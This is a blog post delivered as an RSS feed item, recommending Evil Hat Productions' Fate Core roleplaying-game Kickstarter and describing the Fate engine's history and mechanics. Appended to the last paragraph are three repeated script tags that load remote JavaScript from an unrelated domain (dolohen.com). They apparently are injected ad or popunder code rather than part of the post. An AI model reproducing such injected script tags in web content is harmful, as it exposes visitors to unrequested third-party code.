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	<title>Where Worlds Collide &#187; Evil Hat</title>
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		<title>Fate Core</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/fate-core/</link>
		<comments>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/fate-core/#comments</comments>
		<pubDate>Sat, 29 Dec 2012 14:40:05 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[Evil Hat]]></category>
		<category><![CDATA[Fate]]></category>
		<category><![CDATA[Kickstarter]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=5725</guid>
		<description><![CDATA[Just as crowdfunding has revolutionised the independent music sector, it's been having a similar effect on the world of roleplaying games. Most recently, Evil Hat Productions' Kickstarter for Fate Core has been a runaway success, reaching it's initial target within hours, then hitting stretch goal after stretch goal. <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/games/fate-core/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-5726" title="Fate Core" src="http://www.kalyr.co.uk/weblog/wp-content/uploads/2012/12/FateCoreCharacterSheet.jpg" alt="" width="600" height="326" />Just as crowdfunding has revolutionised the independent music sector, it&#8217;s been having a similar effect on the world of roleplaying games. Most recently, <a href="http://www.evilhat.com/home/">Evil Hat Productions</a>&#8216; Kickstarter for <a href="http://www.kickstarter.com/projects/evilhat/fate-core/">Fate Core</a> has been a runaway success, reaching it&#8217;s initial target within hours, then hitting stretch goal after stretch goal.</p>
<p>Fate has to be one of the most revolutionaly pencil-and-paper game engines to be developed over the past decade or so. It grew out of Fudge, with &#8220;Aspects&#8221; as a very elegant mechanic improving on what I felt were Fudge&#8217;s weaknesses. Games such as the two-fisted pulp action <em>Spirit of the Century, </em>the hard-SF space opera of <em>Diaspora</em>, and the licenced monster-mash urban fantasy of<em> Dresden Files</em> built on Fate&#8217;s core engine adding new mechanics and game tools to support many genres and styles of play. It developed the so-called &#8220;Fate Fractal&#8221;, in which everything from equipment to an entire nation can be modelled as a character. Fate Core aims to be an improved and streamlined core engine on which the next generation of Fate games can be built.</p>
<p>Pledge just a quid (although most people seem to have pledged far more than this) in order to get the finished printed book), and you can download the current laid-out version of the core rules. No art, and some details may be tweaked for the final release, but it&#8217;s a complete game.</p>
<p>If Fate is your sort of game, and you haven&#8217;t contributed yet, what are you waiting for?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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